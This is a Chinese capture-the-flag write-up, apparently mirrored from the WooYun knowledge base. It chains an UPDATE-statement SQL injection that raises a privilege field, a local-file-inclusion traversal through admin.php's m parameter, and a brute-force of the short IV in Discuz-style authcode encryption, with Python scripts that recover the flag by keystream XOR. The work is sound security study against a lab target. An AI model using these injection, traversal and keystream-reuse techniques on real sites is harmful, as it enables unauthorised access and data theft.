三個白帽挑戰之我是李雷雷我在尋找韓梅梅系列3——writeup

wyzsk發表於2020-08-19
作者: Melody有奧妙 · 2016/05/16 17:13

進入,發現index.php既可登入也可註冊,隨便試了一下admin/admin還真能登入,後來證實其他人註冊的。。

user.php可以修改資料,測試了一下sex欄位可以注入,本地測試發現update注入又這樣的特性

#!php
update users set sex=[injection_here] where id = 1;

這個語句中[injection_here]部分,如果插入的是一個欄位的名稱,若這個欄位存在,那麼返回1,否則返回0.經過http引數傳入的都是字串,除非特別要求不會轉換為數字,這裡性別是用0和1表示的恰好符合這個條件。不過測試了好久沒有結果。第二天出了第一個hint,按照頁面提示操作。訪問admin.php,發現

#!bash
Your power is too low.

所以構造

#!php
update users set sex=1,power=1 where id = 1;

出現了檔案管理選項,點進去發現有兩個檔案。test.php,welcome.php,隨便點個檔案發現是個下載的功能,檔案是http://url/file/download.php,顯然要在這裡做文章,發現可以下載本目錄下的檔案,但是不能下載download.php,也不能下載別的目錄的檔案,檢測到連續的兩個小數點或者出現了斜槓都會提示非法操作,這就很尷尬了。

仔細看了看所有可以控制的引數,發現admin.php的m引數是這樣的

#!html
http://url/admin.php?m=filemanager

猜測這裡存在任意檔案讀取,不過和admin.php不在同一個目錄, 也不知道這個當前目錄名稱是什麼,於是不管當前目錄名稱,直接跨。

#!html
http://url/admin.php?m=../index

經過截斷是失效的

不過真的返回首頁了,那麼一處可以下載當前目錄的檔案,一處可以包含任意的php檔案,兩處結合可以出現什麼樣的火花呢?

猜測download.php的原始碼

download.php

#!php
<?php
$file=$_GET['f'];
if(stripos($file,'..')||stripos($file,'/')){
    print "Illeagle opperation!";
}else if(!file_get_contents($file)){
    print "file not found";
}else{
    header('Content-Type:file/documents'); //忘了咋寫了。。。亂寫一個型別
    header('Content-Disposition: attachment; filename="'.$file.'"');
    header('Content-Length:'.filesize($file));
    readfile(dirname(__FILE__).$file);
}
?>

admin.php(這個後來下載下來的,直接粘帖過來。。)

#!php
<?php 
require_once('inc/common.php');
if ($_SESSION['power'] == 1){
    if (isset($_GET['m'])) {
        $model = "model/" . $_GET['m'] . ".php";
        if (!is_file($model)){
            echo "Model not exist!";
            exit; 
        } else {
            include_once($model);
        }
    }
} else {
    exit("Error, your power is too low.");
}
?>

這樣的話,我們只需要把download.php給包含進去,就能改變目錄限制啦~最終payload

#!html
http://url/admin.php?m=../file/download&f=admin.php

可以看到直接下載下來了。。

後來給了hint3,下載flag.php(實際上看到群裡有人討論了一下。。猜到了這個檔案,後來還是hint了),於是下載下來看

#!php
<?php
require_once('inc/common.php');
require_once('authcode.php');
echo "where is the flag?";
$flag = authcode('4da1JE+SVphprnaoZJlJTsXKmi+hkEFTlkrbShMA6Uq5npWavTX8vFAh3yGYDf6OcbZePTLJIT+rB2sHzmPO2tuVQ','DECODE',$authkey);
?>

authcode.php

#!php
<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {  
   // 動態密匙長度,相同的明文會生成不同密文就是依靠動態密匙  
   $ckey_length = 3;  

   // 密匙  
   $key = md5($key ? $key : $GLOBALS['discuz_auth_key']);  

   // 密匙a會參與加解密  
   $keya = md5(substr($key, 0, 16));  
   // 密匙b會用來做資料完整性驗證  
   $keyb = md5(substr($key, 16, 16));  
   // 密匙c用於變化生成的密文  
   $keyc = $ckey_length?($operation == 'DECODE' ? substr($string, 0, $ckey_length): 
substr(hash('sha256', microtime()), -$ckey_length)) : '';  
   // 參與運算的密匙  
   $cryptkey = $keya.md5($keya.$keyc);  
   $key_length = strlen($cryptkey);  
   // 明文,前10位用來儲存時間戳,解密時驗證資料有效性,10到26位用來儲存$keyb(密匙b),解密時會透過這個密匙驗證資料完整性  
   // 如果是解碼的話,會從第$ckey_length位開始,因為密文前$ckey_length位儲存 動態密匙,以保證解密正確  
   $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : 
sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;  
   $string_length = strlen($string);  
   $result = '';  
   $box = range(0, 255);  
   $rndkey = array();  
   // 產生密匙簿  
   for($i = 0; $i <= 255; $i++) {  
     $rndkey[$i] = ord($cryptkey[$i % $key_length]);  
   }  
   // 用固定的演算法,打亂密匙簿,增加隨機性,好像很複雜,實際上對並不會增加密文的強度  
   for($j = $i = 0; $i < 256; $i++) {  
     $j = ($j + $box[$i] + $rndkey[$i]) % 256;  
     $tmp = $box[$i];  
     $box[$i] = $box[$j];  
     $box[$j] = $tmp;  
   }  
   // 核心加解密部分  
   for($a = $j = $i = 0; $i < $string_length; $i++) {  
     $a = ($a + 1) % 256;  
     $j = ($j + $box[$a]) % 256;  
     $tmp = $box[$a];  
     $box[$a] = $box[$j];  
     $box[$j] = $tmp;  
     // 從密匙簿得出密匙進行異或,再轉成字元  
     $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));  
   }  
   if($operation == 'DECODE') {  
     // substr($result, 0, 10) == 0 驗證資料有效性  
     // substr($result, 0, 10) - time() > 0 驗證資料有效性  
     // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 驗證資料完整性  
     // 驗證資料有效性,請看未加密明文的格式  
     if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && 
substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {  
       return substr($result, 26);
     } else {  
       return '';  
     }  
   } else {  
     // 把動態密匙儲存在密文裡,這也是為什麼同樣的明文,生產不同密文後能解密的原因  
     // 因為加密後的密文可能是一些特殊字元,複製過程可能會丟失,所以用base64編碼  
     return $keyc.str_replace('=', '', base64_encode($result));  
   }  
}
?>

至於common.php,因為無法跨過這個目錄限制,只能包含進去,而沒辦法下載下來,顯而易見key就在common.php裡,直接給也沒意思了,想辦法解。

這個密碼簿形成很複雜我也勉強看看,發現keya和keyb都基本拿不到,keyc可以發現和時間有關,是當前時間戳的sha256的前三個字元,而解密也用到了keyc,那麼keyc必定被包含在密文中,否則無法解密,通讀程式碼發現最後密文確實拼接了keyc的前三位,這是唯一的突破口。

google了一下discuz authcode 缺陷,發現有人指出這個實現的流密碼的IV部分太短了,只有四位。而題目給的這個修改版更是隻有3位,那麼想辦法爆破出來就行了,因為keya和keyb都是固定的,生成密碼簿只需要做到keya,keyb,keyc都相同就能生成相同的密碼簿,注意到之前下載的test.php的內容

#!php
<?php 
require_once(dirname(__FILE__).'/../inc/common.php');
require_once(dirname(__FILE__).'/../authcode.php');
if ($_SESSION['power'] == 1){
    $test = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";
    echo authcode($test,'ENCODE',$authkey);
} else {
    exit("Error, your power is too low.");
}
?>

提供了一組明文,那麼不斷的訪問這個頁面就可以得到密文,爆破前三位,當前三位相同的時候流密碼所使用的key也就相同了,以下是簡單的爆破指令碼

web.py

#!python
import requests
url1 = 'http://408ffe393d342329a.jie.sangebaimao.com/file/test.php'
url2 = 'http://408ffe393d342329a.jie.sangebaimao.com/index.php'
url3 = 'http://408ffe393d342329a.jie.sangebaimao.com/user.php'
s = requests.session()
data = {'username':'admin','password':'admin','submit':'login'}
res=s.post(url2,data=data);
c=s.get(url1)
while c.content[0:3]!='4da':
    c=s.get(url1)
    print c.content[0:3]

print c.content

因為只有三位大概三四分鐘就爆破出來一個符合條件的密文。回頭看看authcode.php中加密函式的關鍵內容。

#!php
for($a = $j = $i = 0; $i < $string_length; $i++) {  
    $a = ($a + 1) % 256;  
    $j = ($j + $box[$a]) % 256;  
    $tmp = $box[$a];  
    $box[$a] = $box[$j];  
    $box[$j] = $tmp;  
    // 從密匙簿得出密匙進行異或,再轉成字元  
    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));  
}  

可見,密文(這裡還沒把keyc拼接上去)的每一個字元都是透過一次xor運算得到的。而xor的另一個運算元是固定不變的。那麼透過兩次xor就能解出明文了。但是這樣還不行,我們再分析一下密文的構成。

#!php
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : 
sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;  

return $keyc.str_replace('=', '', base64_encode($result));

所以目標就很明確嘍,獲得的密文,前三位是動態金鑰,接著26位如果金鑰相同也就是固定不變的,真正的密文從第29位開始,我這裡去掉了密文的前三位,補全了等號,再做的解密。

exp.py

#!python
import base64
flagcode='1JE+SVphprnaoZJlJTsXKmi+hkEFTlkrbShMA6Uq5npWavTX8vFAh3yGYDf6OcbZePTLJIT+rB2sHzmPO2tuVQ=='
testcode='1JE+SVphprnaoZMwdTdAfTy5hRlRHlspMHwQWPdxqCgEY/nV4uAQwTCcJjyge8HOK6eYL9/28l61TX/dNzAIf3R7wDnRqqFsj5chZoMsnjjvy1UbpdRiEg=='
test='1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
testcode_b64decode=base64.b64decode(testcode)[26:]
flagcode_b64decode=base64.b64decode(flagcode)[26:]
flag=''
for i in range(0,len(flagcode_b64decode)):
    flag+=chr(ord(flagcode_b64decode[i])^(ord(testcode_b64decode[i])^ord(test[i])))

print flag

得到flag

#!bash
miao{de142af548c3b52fd754c1c29a100b67}
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章